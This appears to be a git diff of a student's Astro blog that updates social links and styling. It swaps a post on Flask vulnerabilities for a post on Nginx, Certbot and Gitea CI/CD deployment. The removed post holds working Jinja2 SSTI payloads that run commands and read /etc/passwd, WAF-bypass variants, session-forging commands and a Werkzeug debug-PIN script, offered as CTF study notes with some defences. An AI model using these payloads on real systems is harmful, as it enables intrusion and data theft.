<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 128 128"> <?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg t="1777435362830" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="22652" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><path d="M512 944c-194.56 0-350.08-240-335.04-427.52C188.96 696.48 334.24 896 512 896s323.04-199.52 335.04-379.52C862.08 704 706.4 944 512 944z" fill="#69CC00" p-id="22653"></path><path d="M770.4 240l-42.4 42.72A32 32 0 0 1 688 288a333.44 333.44 0 0 0-352 0 32 32 0 0 1-39.36-4.48L253.6 240c4.64-17.44 4.8-36.8-20.96-62.08a61.12 61.12 0 0 0-102.24 28.64c-16-54.72 54.88-108 102.24-60.64 25.76 25.28 25.6 44.64 20.96 62.08l42.4 42.4A32 32 0 0 0 336 256a333.44 333.44 0 0 1 352 0 32 32 0 0 0 39.36-4.48l41.92-41.92a58.56 58.56 0 0 0 1.12 30.4zM893.92 208a64 64 0 0 0-123.68 0c-21.92-75.52 92.64-113.12 121.12-39.52a64 64 0 0 1 2.56 39.52z" fill="#C5EE09" p-id="22654"></path><path d="M778.4 290.88a32 32 0 0 0-2.4 42.56c52.32 66.24 75.2 151.52 69.6 199.04C826.4 708 684.48 896 512 896S197.6 708 178.4 532.48c-5.6-46.88 16-131.84 69.6-199.04a32 32 0 0 0-2.4-42.56L208 253.6c-17.44 4.64-36.8 4.8-62.08-20.96a62.08 62.08 0 0 1-16-25.76 61.12 61.12 0 0 1 102.24-28.64c25.76 25.28 25.6 44.64 20.96 62.08l42.4 42.4A32 32 0 0 0 336 288a333.44 333.44 0 0 1 352 0 32 32 0 0 0 39.36-4.48L770.4 240a53.12 53.12 0 0 1 0-32 64 64 0 0 1 123.68 0A64 64 0 0 1 832 256c-23.68 0-4.48-14.24-53.6 34.88z" fill="#84E507" p-id="22655"></path><path d="M456.96 727.04c-37.44 37.44-132 3.68-169.44-33.76a151.84 151.84 0 0 1-39.2-126.72c16.96-75.84 128-56.16 174.72-8.96 37.12 37.12 71.52 131.84 33.92 169.44zM736 693.28c-54.4 54.4-208 92.8-183.2-39.68a199.84 199.84 0 0 1 48-96c37.44-37.44 120.8-60 158.24-22.56S773.12 656 736 693.28z" fill="#FDA736" p-id="22656"></path><path d="M470.72 653.76c-18.72 72.64-137.92 36.8-183.2-8.48a156.32 156.32 0 0 1-39.2-78.72c16.96-75.84 128-56.16 174.72-8.96a202.08 202.08 0 0 1 47.68 96.16zM774.72 566.56A156.32 156.32 0 0 1 736 645.28c-46.24 46.24-164.48 80.8-183.2 8.32a199.84 199.84 0 0 1 48-96c46.4-47.36 156.96-67.04 173.92 8.96z" fill="#FED370" p-id="22657"></path><path d="M169.6 459.52a16 16 0 0 1 31.04 7.36C147.84 688 359.68 998.56 592 913.6a16 16 0 0 1 10.08 30.4C347.2 1037.12 109.76 710.24 169.6 459.52zM653.76 916.32a16 16 0 0 1-8.64-29.44c160-101.28 260.64-363.2 118.24-544a48 48 0 0 1 3.68-64C823.68 223.04 802.88 240 832 240a48 48 0 1 0-29.92-85.6 47.04 47.04 0 0 0-16 49.6c3.36 11.84-2.08 13.76-46.4 58.08a48 48 0 0 1-59.2 6.72 317.6 317.6 0 0 0-336 0 48 48 0 0 1-59.2-6.72c-42.24-42.24-49.76-45.76-46.56-57.92s4.64-25.6-16-46.56c-41.92-41.76-105.6 21.92-64 64 36 36.8 46.4 5.44 62.08 20.96l37.28 37.28a48 48 0 0 1 3.68 64 326.88 326.88 0 0 0-40.48 66.24 16 16 0 0 1-29.12-13.12c48-103.84 74.56-62.88 12.16-125.44A84.64 84.64 0 0 1 112 187.68a77.6 77.6 0 0 1 131.84-52.8c27.2 26.88 30.08 49.92 27.04 68.32l36.48 36.8a16 16 0 0 0 19.52 2.24 349.92 349.92 0 0 1 370.24 0 16 16 0 0 0 19.52-2.24c44.48-45.12 35.36-32 35.36-48a80 80 0 1 1 142.56 49.92 77.28 77.28 0 0 1-73.76 29.12l-31.04 31.2a16 16 0 0 0-1.12 21.28A347.68 347.68 0 0 1 864 540.64c0 209.6-175.04 375.68-210.24 375.68z" fill="#35214C" p-id="22658"></path><path d="M409.92 759.2A214.88 214.88 0 0 1 276.16 704c-40.96-40.32-68.16-134.4-22.56-180.32 22.72-22.72 60.32-29.6 103.2-19.04a16 16 0 0 1-7.68 31.04c-114.72-28.32-100 96-50.24 146.24 33.12 33.28 118.24 62.4 146.72 33.76 32-32-5.12-126.88-44.96-156.16a16 16 0 0 1 18.88-25.92c72.16 52.96 115.04 225.6-9.6 225.6zM554.72 738.4c-46.4-46.56-5.92-152.48 33.76-192 43.04-43.04 136.16-67.36 180.96-22.56s18.4 139.84-22.56 180.16a173.44 173.44 0 0 1-40.16 28.64 16 16 0 0 1-15.04-28.16 136.8 136.8 0 0 0 32-23.2c33.92-33.76 51.2-107.04 22.56-135.52s-104.32-8.8-135.52 22.56c-36.8 36.8-92.96 178.4 26.08 156a16 16 0 0 1 6.08 32c-31.04 6.08-65.6 4.48-88.16-17.92zM455.36 817.92a16 16 0 0 1 22.72 0 49.28 49.28 0 0 0 67.84 0 16 16 0 0 1 22.72 22.72c-53.28 53.12-137.92 2.08-113.28-22.72z" fill="#35214C" p-id="22659"></path></svg>
<path d="M50.4 78.5a75.1 75.1 0 0 0-28.5 6.9l24.2-65.7c.7-2 1.9-3.2 3.4-3.2h29c1.5 0 2.7 1.2 3.4 3.2l24.2 65.7s-11.6-7-28.5-7L67 45.5c-.4-1.7-1.6-2.8-2.9-2.8-1.3 0-2.5 1.1-2.9 2.7L50.4 78.5Zm-1.1 28.2Zm-4.2-20.2c-2 6.6-.6 15.8 4.2 20.2a17.5 17.5 0 0 1 .2-.7 5.5 5.5 0 0 1 5.7-4.5c2.8.1 4.3 1.5 4.7 4.7.2 1.1.2 2.3.2 3.5v.4c0 2.7.7 5.2 2.2 7.4a13 13 0 0 0 5.7 4.9v-.3l-.2-.3c-1.8-5.6-.5-9.5 4.4-12.8l1.5-1a73 73 0 0 0 3.2-2.2 16 16 0 0 0 6.8-11.4c.3-2 .1-4-.6-6l-.8.6-1.6 1a37 37 0 0 1-22.4 2.7c-5-.7-9.7-2-13.2-6.2Z" />
<style>
path { fill: #000; }
@media (prefers-color-scheme: dark) {
path { fill: #FFF; }
}
</style>
</svg>

Before

Width:  |  Height:  |  Size: 749 B

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 135 KiB

View File

@@ -5,22 +5,17 @@ const today = new Date();
<footer> <footer>
&copy; {today.getFullYear()} Marvin. All rights reserved. &copy; {today.getFullYear()} Marvin. All rights reserved.
<div class="social-links"> <div class="social-links">
<a href="https://m.webtoo.ls/@astro" target="_blank"> <a href="mailto:marvinmarchok@gmail.com" target="_blank">
<span class="sr-only">Follow Astro on Mastodon</span> <span class="sr-only">Send Marvin an email</span>
<svg <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" astro-icon="social/mastodon"
viewBox="0 0 16 16"
aria-hidden="true"
width="32"
height="32"
astro-icon="social/mastodon"
><path ><path
fill="currentColor" fill="currentColor"
d="M11.19 12.195c2.016-.24 3.77-1.475 3.99-2.603.348-1.778.32-4.339.32-4.339 0-3.47-2.286-4.488-2.286-4.488C12.062.238 10.083.017 8.027 0h-.05C5.92.017 3.942.238 2.79.765c0 0-2.285 1.017-2.285 4.488l-.002.662c-.004.64-.007 1.35.011 2.091.083 3.394.626 6.74 3.78 7.57 1.454.383 2.703.463 3.709.408 1.823-.1 2.847-.647 2.847-.647l-.06-1.317s-1.303.41-2.767.36c-1.45-.05-2.98-.156-3.215-1.928a3.614 3.614 0 0 1-.033-.496s1.424.346 3.228.428c1.103.05 2.137-.064 3.188-.189zm1.613-2.47H11.13v-4.08c0-.859-.364-1.295-1.091-1.295-.804 0-1.207.517-1.207 1.541v2.233H7.168V5.89c0-1.024-.403-1.541-1.207-1.541-.727 0-1.091.436-1.091 1.296v4.079H3.197V5.522c0-.859.22-1.541.66-2.046.456-.505 1.052-.764 1.793-.764.856 0 1.504.328 1.933.983L8 4.39l.417-.695c.429-.655 1.077-.983 1.934-.983.74 0 1.336.259 1.791.764.442.505.661 1.187.661 2.046v4.203z" d="M11.19 12.195c2.016-.24 3.77-1.475 3.99-2.603.348-1.778.32-4.339.32-4.339 0-3.47-2.286-4.488-2.286-4.488C12.062.238 10.083.017 8.027 0h-.05C5.92.017 3.942.238 2.79.765c0 0-2.285 1.017-2.285 4.488l-.002.662c-.004.64-.007 1.35.011 2.091.083 3.394.626 6.74 3.78 7.57 1.454.383 2.703.463 3.709.408 1.823-.1 2.847-.647 2.847-.647l-.06-1.317s-1.303.41-2.767.36c-1.45-.05-2.98-.156-3.215-1.928a3.614 3.614 0 0 1-.033-.496s1.424.346 3.228.428c1.103.05 2.137-.064 3.188-.189zm1.613-2.47H11.13v-4.08c0-.859-.364-1.295-1.091-1.295-.804 0-1.207.517-1.207 1.541v2.233H7.168V5.89c0-1.024-.403-1.541-1.207-1.541-.727 0-1.091.436-1.091 1.296v4.079H3.197V5.522c0-.859.22-1.541.66-2.046.456-.505 1.052-.764 1.793-.764.856 0 1.504.328 1.933.983L8 4.39l.417-.695c.429-.655 1.077-.983 1.934-.983.74 0 1.336.259 1.791.764.442.505.661 1.187.661 2.046v4.203z"
></path></svg ></path></svg
> >
</a> </a>
<a href="https://twitter.com/astrodotbuild" target="_blank"> <a href="https://x.com/Marvinhers" target="_blank">
<span class="sr-only">Follow Astro on Twitter</span> <span class="sr-only">Follow Marvin on Twitter</span>
<svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" astro-icon="social/twitter" <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" astro-icon="social/twitter"
><path ><path
fill="currentColor" fill="currentColor"
@@ -28,8 +23,8 @@ const today = new Date();
></path></svg ></path></svg
> >
</a> </a>
<a href="https://github.com/withastro/astro" target="_blank"> <a href="https://github.com/Marvin-March" target="_blank">
<span class="sr-only">Go to Astro's GitHub repo</span> <span class="sr-only">Go to Marvin's GitHub repo</span>
<svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" astro-icon="social/github" <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" astro-icon="social/github"
><path ><path
fill="currentColor" fill="currentColor"

View File

@@ -3,17 +3,17 @@ import { SITE_TITLE } from '../consts';
import HeaderLink from './HeaderLink.astro'; import HeaderLink from './HeaderLink.astro';
--- ---
<header> <header class="fixed top-0 left-0 w-full z-50 bg-white/70 backdrop-blur-md shadow-sm h-20">
<nav> <nav>
<h2><a href="/">{SITE_TITLE}</a></h2> <h2 class="font-bold !text-blue-500">{SITE_TITLE}</h2>
<div class="internal-links"> <div class="internal-links">
<HeaderLink href="/">Home</HeaderLink> <HeaderLink href="/">Home</HeaderLink>
<HeaderLink href="/blog">Blog</HeaderLink> <HeaderLink href="/blog">Blog</HeaderLink>
<HeaderLink href="/about">About</HeaderLink> <HeaderLink href="/about">About</HeaderLink>
</div> </div>
<div class="social-links"> <div class="social-links">
<a href="https://m.webtoo.ls/@astro" target="_blank"> <a href="mailto:marvinmarchok@gmail.com" target="_blank">
<span class="sr-only">Follow Astro on Mastodon</span> <span class="sr-only">Send Marvin an email</span>
<svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32"
><path ><path
fill="currentColor" fill="currentColor"
@@ -21,8 +21,8 @@ import HeaderLink from './HeaderLink.astro';
></path></svg ></path></svg
> >
</a> </a>
<a href="https://twitter.com/astrodotbuild" target="_blank"> <a href="https://x.com/Marvinhers" target="_blank">
<span class="sr-only">Follow Astro on Twitter</span> <span class="sr-only">Follow Marvin on Twitter</span>
<svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32"
><path ><path
fill="currentColor" fill="currentColor"
@@ -30,8 +30,8 @@ import HeaderLink from './HeaderLink.astro';
></path></svg ></path></svg
> >
</a> </a>
<a href="https://github.com/withastro/astro" target="_blank"> <a href="https://github.com/Marvin-March" target="_blank">
<span class="sr-only">Go to Astro's GitHub repo</span> <span class="sr-only">Go to Marvin's GitHub repo</span>
<svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32" <svg viewBox="0 0 16 16" aria-hidden="true" width="32" height="32"
><path ><path
fill="currentColor" fill="currentColor"
@@ -46,7 +46,6 @@ import HeaderLink from './HeaderLink.astro';
header { header {
margin: 0; margin: 0;
padding: 0 1em; padding: 0 1em;
background: white;
box-shadow: 0 2px 8px rgba(var(--black), 5%); box-shadow: 0 2px 8px rgba(var(--black), 5%);
} }
h2 { h2 {

View File

@@ -1,5 +1,2 @@
// Place any global data in this file. export const SITE_TITLE = 'Marvin Blog';
// You can import this data from anywhere in your site by using the `import` keyword.
export const SITE_TITLE = 'Astro Blog';
export const SITE_DESCRIPTION = 'Welcome to my website!'; export const SITE_DESCRIPTION = 'Welcome to my website!';

View File

@@ -14,6 +14,7 @@ const blog = defineCollection({
pubDate: z.coerce.date(), pubDate: z.coerce.date(),
updatedDate: z.coerce.date().optional(), updatedDate: z.coerce.date().optional(),
heroImage: z.optional(image()), heroImage: z.optional(image()),
tags: z.array(z.string()).optional(),
}), }),
}); });

View File

@@ -1,246 +1,177 @@
--- ---
title: 'Python 漏洞初阶' title: '部署了人生中第一个博客'
description: 'Here is a sample of some basic python 漏洞' description: 'Astro 博客部署'
pubDate: 'Apr 13 2026' pubDate: 'Apr 22 2026'
heroImage: '../../assets/boy.jpg' heroImage: '../../assets/BladeRunner.png'
--- ---
# SSTI ## 在真正部署前我干了啥😫(可以不看)
## flask框架中的ssti >由于本人急切想实现外网访问且不知为何偏好Apache于是很早之前就把本地项目以下载的形式放在了服务器上而不是git push。且gitea仓库里也是zip文件😫还写了如下文字。千万不要这样。
[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912)
[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html) 1. 把本地的Astro项目打包。根目录里输入
[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html)
>SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染可能导致敏感信息泄露、代码执行、GetShell 等。
如何避免:
1. 不要使用`f-string`拼接模板,`render_template_string`,如
`render_template_string(f"Hello {name}")`
安全的写法:`render_template('index.html',name=name)`
2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`
利用方式:
获取到基类 object重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类:
```python
import re
data=r'''[<class 'type'>, <class 'async_generator'>]'''
useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen',
'warnings.catch_warnings', '_frozen_importlib._ModuleLock',
'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager',
'_frozen_importlib.ModuleSpec']
pattern=re.compile(r"'(.*?)'")
class_list=pattern.findall(data)
for i in class_list:
for j in useful_class:
if j in i:
print(str(class_list.index(i))+":"+i)
```
但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如
```python
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{%endif%}
{%endfor%}
```
获取到有用的类的下标后,我们可以进行:
#### 命令执行
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}}
```
可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块如果有可以`__globals__['os'].popen('ls').read()`
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}}
```
有些ctf题`ls`发现没有与flag相关的文件夹flag可能在环境变量`env`里,即`__globals__['popen']('env').read()`
#### 文件读取
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}}
```
发现无法打开.py文件
### 绕过
[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381)
#### 关键字(空格,点号)过滤
```python
# +号拼接绕过,也用于点过滤
{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }}
```
```python
# 使用Jinjia2的号拼接
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }}
```
注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查
```python
# 使用过滤器reverse绕过
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
# 不带空格简洁
{{''['__ssalc__'[::-1]]}}
```
```python
# 使用 join 过滤器绕过,同时可以绕过引号过滤
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
```
#### 符号过滤
```python
# {{和}}被过滤使用{%和%}绕过
{% print(''.__class__) %}
```
`{% %}`定义变量、循环、判断等逻辑操作,不输出
```python
# 中括号过滤,魔术方法__getitem__可代替中括号
.__subclasses__().__getitem__(13).__getitem__('popen')
```
```python
# 过滤点[]
{{()|attr('__class__')|attr('__base__')}}
```
```python
# 下划线被过滤可以使用过滤器输入下划线如使用函数attr()
{{()|attr(request.form.p1)|attr(request.form.p2)}}
# 同时post传参p1=__class__&p2=__base__
#也可以将下划线16进制编码
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}}
```
```python
# 单双引号被过滤可get/post传参
#get传参 ?p1=popen&p2=cat /flag
{{.__globals__[request.args.p1](request.args.p2).read()}}
```
```python
# 数字被过滤,a=5*5+1=26
{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}}
```
获取特殊字符
```python
{% set a=(lipsum|string|list) %}{{a[18]}}
```
![[Pasted image 20260405175857.png]]
### 工具
鸡肋焚靖fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本但咋没用
## flask session
[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682)
flask session 存储在客户端cookie中且仅对session进行了签名。
cookie结构
```python
.base64(payload).base64(timestamp).base64(hmac-signature)
```
### 流程示例
1. 找到cookie中的session值用flask-unsign解密,得到类似于`{'is_admin': False}`的形式
```bash ```bash
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' npm run build
``` ```
2. 找secret_key方法很多看题目 会生成一个`dist`文件夹,即我们的博客成品
- debug=True 2. 将一整个文件夹传到服务器`/var/www/blog`用的apache我这里绕了一点弯路本来打算先将dist.zip传到gitea,再在服务器端下载,后来发现一种更简单的方式
- 在源码/配置文件里找 app.py config.py .env .git可结合任意文件读取 - 安装lrzsz(Linux下命令行文件传输工具实现本地-服务器互传文件,但不能传文件夹,要打包)
- 结合ssti `{{config.SECRET_KEY}}`
- [字典爆破](https://github.com/dw0rsec/rockyou.txt)
```bash ```bash
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt apt install lrzsz -y
cd /var/www/blog
rz #上传文件到服务器,会弹出窗口
sz #下载
``` ```
3. 构造管理员session - 解压
```bash ```bash
flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}" unzip -o dist.zip -d /var/www/blog/ #-o 覆盖已有文件
```
我还碰到了问题就是它传成了/var/www/blog/dist使用`mv dist/* .`就可以解决了。
3. 配置Apache
```bash
vim /etc/apache2/sites-available/000-default.conf
#改为 DocumentRoot /var/www/blog
systemctl restart apache2
```
4. 配置HTTPS
用 Certbot 给 Apache 配置免费 Let's Encrypt 证书,一键开启 HTTPS还没有深入理解原理
```bash
apt install certbot python3-certbot-apache -y
certbot --apache -d marvinhers.site
``` ```
### 防御 并且由于之前在服务器docker里装了gitea,本人不知为何想实现自个网站可登gitea,由此配了子域名git.marvinhers.site这会牵扯到后面的反向代理😅
用强随机密钥
把`secret_key`写在**环境变量**或**配置文件**中
生产环境关闭debug
```python
app.config.update(
SECRET_KEY = os.urandom(24), # 必须强随机
SESSION_COOKIE_HTTPONLY = True,
SESSION_COOKIE_SECURE = True, # 强制HTTPS
SESSION_COOKIE_SAMESITE = 'Strict',
)
```
## flask-debug模式的安全隐患
开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。 ## 浅谈一下部署过程🤯
在`debug`的环境下输入`PIN`码调用`python`的交互式`shell`
> 但需要6个参数呃呃呃 成果🫠:[点击访问虽然没什么内容主页也没写好](https://marvinhers.site/about/) [配了个子域名](https://git.marvinhers.site)
``` >博客用TuF3i推荐的Astro框架nodejs 开发构建代码放在GiteaAct runner 实现cicdweb服务器用的Nginxhttps加了密的。
1. username 运行该Flask程序的用户名 /etc/passwd文件内 ### 配置Nginx
2. modname 模块名 flask.app
3. getattr() app名值为Flask >同为web服务器软件它们都可以让别人通过网址访问服务器上的网站、接口、文件。但nginx轻量占有内存少并发能力强在负载均衡和反向代理领域表现出众处理静态资源也更👍
4. getattr() Flask目录下的一个app.py的绝对路径这个值可以在报错页面看到。但有个需注意Python3是 app.pyPython2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode())
5. MAC地址读取这两个文件地址/sys/class/net/eth0/address或者/sys/class/net/ens33/address 针对我这个博客,先不管主配置`/etc/nginx/nginx.conf`,因为它有`include /etc/nginx/sites-enabled/*;`所以主要是修改它的子配置
6. get_machine_id() 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup 在`sites-available`下增加了`blog`和`gitea`两个配置文件gitea配的是反向代理虽然这样意义不大但也算是把学的知识运用一下...
```nginx
# 以gitea配置为例
# 仅保留核心80端口 + 子域名 + 反向代理
server {
listen 80;
server_name git.marvinhers.site;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
``` ```
因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入如获取mac地址 ```bash
```python # 软链接启用配置
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}} ln -s /etc/nginx/sites-available/blog /etc/nginx/sites-enabled/
ln -s /etc/nginx/sites-available/gitea /etc/nginx/sites-enabled/
# 测试配置无误
nginx -t
nginx -s reload
``` ```
```python #后续还要深入学习
import hashlib [Nginx 服务器安装及配置文件详解 | 菜鸟教程](https://www.runoob.com/w3cnote/nginx-install-and-config.html)
from itertools import chain [反向代理](https://mp.weixin.qq.com/s?__biz=MzA5MTkyMTQ0NA==&mid=2247486136&idx=1&sn=fb7ca1c55e681bdb082d3796e9dbbe04&chksm=907447f3a703cee53b7067685c9d710f5f99946c9d09865099647edd061df7ebdbb010bc34fe&scene=178&cur_album_id=3920274935729356806&search_click_id=#rd)
(虽然学长的课还没听完)
probably_public_bits = [ 预留`acme.sh`
'flaskweb' # 1.username 先用certbot简单配一下吧以后使用泛域名证书再改用acme.sh......
'flask.app', # 2.modname 所以后面就简单地...
'Flask', # 3.appname ```bash
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir certbot --nginx -d marvinhers.site -d git.marvinhers.site
]
private_bits = [
'130771165565282', # 5.str(uuid.getnode())
'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id
]
# py<=3.7 是 md5 3.8 以后是 sha1
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
``` ```
这样讲起来怎么只有这么一点,鬼知道我弄了多久。
### 在Gitea上实现CICD
第一节课的时候接触了gitea 的 actions配置了一些东西当时确实挺懵的。
再从头顺一遍吧
#### 开启actions功能
```bash
docker exec -it gitea bash
vim /data/gitea/conf/app.ini
# 添加以下然后退出容器
# [actions]
# ENABLED=true
docker restart gitea
```
#### 开启act runner
Act Runner是一个独立的小程序它从 Gitea 那里领任务(比如“有人推送代码了,去执行 .gitea/workflows/deploy.yml 文件里的命令”),然后在服务器上执行这些命令。
推荐是在docker里运行的这里建议看官方文档是如何注册挂载运行。这里重点讲一下==挂载==
==挂载 volume 是实现 服务器 和 Act Runner容器 之间的文件互通==
```yml
# 这里展示一下 /root/runner/docker-compose.yml
# 关于令牌,建议参考官方文档
services:
runner:
image: gitea/act_runner:nightly
environment:
CONFIG_FILE: /config.yaml
GITEA_INSTANCE_URL: "https://git.marvinhers.site"
GITEA_RUNNER_REGISTRATION_TOKEN: "{Token}"
GITEA_RUNNER_NAME: "marvin-blog-runner"
GITEA_RUNNER_LABELS: "ubuntu-latest,self-hosted"
volumes:
- ./config.yaml:/config.yaml
- ./data:/data
- /var/run/docker.sock:/var/run/docker.sock
- /var/www/blog:/var/www/blog
```
==令牌Token==是一个注册认证绑定runner到你的Gitea实例连接gitea服务器有不同级别可复用可重置。
我是直接用了实例级别的,仓库级别获取好像出了点问题
#后续再了解
```bash
docker exec -u git -it gitea gitea actions generate-runner-token
```
然后`docker compose down` `docker compose up -d` `docker ps` 就能看到在运行了!
#### 终于workflows
##### 讲几个笨得流黄汤的点(没按顺序):
- 同步到服务器
```yml
- name: 同步到服务器
uses: appleboy/scp-action@master
with:
host: ${{ secrets.SERVER_IP }}
username: ${{ secrets.SERVER_USER }}
port: ${{ secrets.SERVER_PORT }}
key: ${{ secrets.SERVER_SSH_KEY }}
source: "dist/"
target: "/var/www/blog/"
overwrite: true
strip_components: 1
# 1.那一大堆变量这些都是和服务器相关的尤其ssh_key是在服务器上生成的我记得我之前填的是在本地生成的。
# 2.source 的值和 strip_components 扯上关系。后者让前者剥离dist目录
```
生成密钥的bash
#后续了解
```bash
cd ~/.ssh
ssh-keygen -t rsa -f id_rsa -N ""
cat id_rsa.pub >> authorized_keys
chmod 600 authorized_keys
chmod 700 ~/.ssh
```
- ==git==相关,与我自个有关。
由于之前笨得流黄汤把zip传到了gitea...
然后还有对git命令还不太熟悉...这没啥好说的,肯定是要掌握的东西。💪
#后续还要深入学习
```bash
# 然后简单触发一下工作流
git add .
git commit -m "fix: some mistakes"
git push -u origin main
```
然后其实是碰上各种各样的问题的,包括一些`.gitignore`的书写导致上传巨慢HTTP 413报错上传的代码包体积超过了 Nginx 上限后在Nignx配置的server块下添加`client_max_body_size 100M;`指令等等啊。
## 浅浅总结
啊确实学到了很多但是我的基础不太行像什么docker,git以及文章中一些标签的地方还要深入学习。
然后其实在部署的时候是一个逆向由深入浅的过程碰到问题--再解决,这很不顺,也很浪费时间,所以还是要打好基础🐷以后多多部署东西熟悉熟悉🐷

View File

@@ -5,6 +5,7 @@ import BaseHead from '../components/BaseHead.astro';
import Footer from '../components/Footer.astro'; import Footer from '../components/Footer.astro';
import FormattedDate from '../components/FormattedDate.astro'; import FormattedDate from '../components/FormattedDate.astro';
import Header from '../components/Header.astro'; import Header from '../components/Header.astro';
import '../styles/global.css';
type Props = CollectionEntry<'blog'>['data']; type Props = CollectionEntry<'blog'>['data'];
@@ -57,7 +58,7 @@ const { title, description, pubDate, updatedDate, heroImage } = Astro.props;
<body> <body>
<Header /> <Header />
<main> <main class="pt-20 px-4 max-w-4xl mx-auto">
<article> <article>
<div class="hero-image"> <div class="hero-image">
{heroImage && <Image width={1020} height={510} src={heroImage} alt="" />} {heroImage && <Image width={1020} height={510} src={heroImage} alt="" />}

View File

@@ -1,14 +1,16 @@
--- ---
import AboutHeroImage from '../assets/background.jpg'; import AboutHeroImage from "../assets/background.jpg";
import Layout from '../layouts/BlogPost.astro'; import Layout from "../layouts/BlogPost.astro";
--- ---
<Layout <Layout
title="About Marvin" title="About Marvin"
description="一个有意思的大学生,正在探索世界..." description="一个有意思的大学生,正在探索世界..."
pubDate={new Date('April 04 2026')} pubDate={new Date("April 04 2026")}
heroImage={AboutHeroImage} heroImage={AboutHeroImage}
> >
<p>我是Marvin,一个对 Life IT Money 充满热情的在校大学生。</p> <p>我是Marvin,一个对 Life IT Money 充满热情的在校大学生。</p>
<p>这是我开发的首个个人博客,请大家见证我的成长!</p> <p>
这是我开发的首个个人博客请大家见证我的成长我的博客已经实现cicd啦哈哈哈
</p>
</Layout> </Layout>

View File

@@ -13,36 +13,9 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
<body> <body>
<Header /> <Header />
<main> <main>
<h1>Sorry,see me at About to learn more</h1> <h2>主页还没开发</h2>
<p> <p class="font-bold text-blue-500">Hello Tailwind v4!</p>
Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template
serves as a lightweight, minimally-styled starting point for anyone looking to build a personal
website, blog, or portfolio with Astro.
</p>
<p>
This template comes with a few integrations already configured in your
<code>astro.config.mjs</code> file. You can customize your setup with
<a href="https://astro.build/integrations">Astro Integrations</a> to add tools like Tailwind,
React, or Vue to your project.
</p>
<p>Here are a few ideas on how to get started with the template:</p>
<ul>
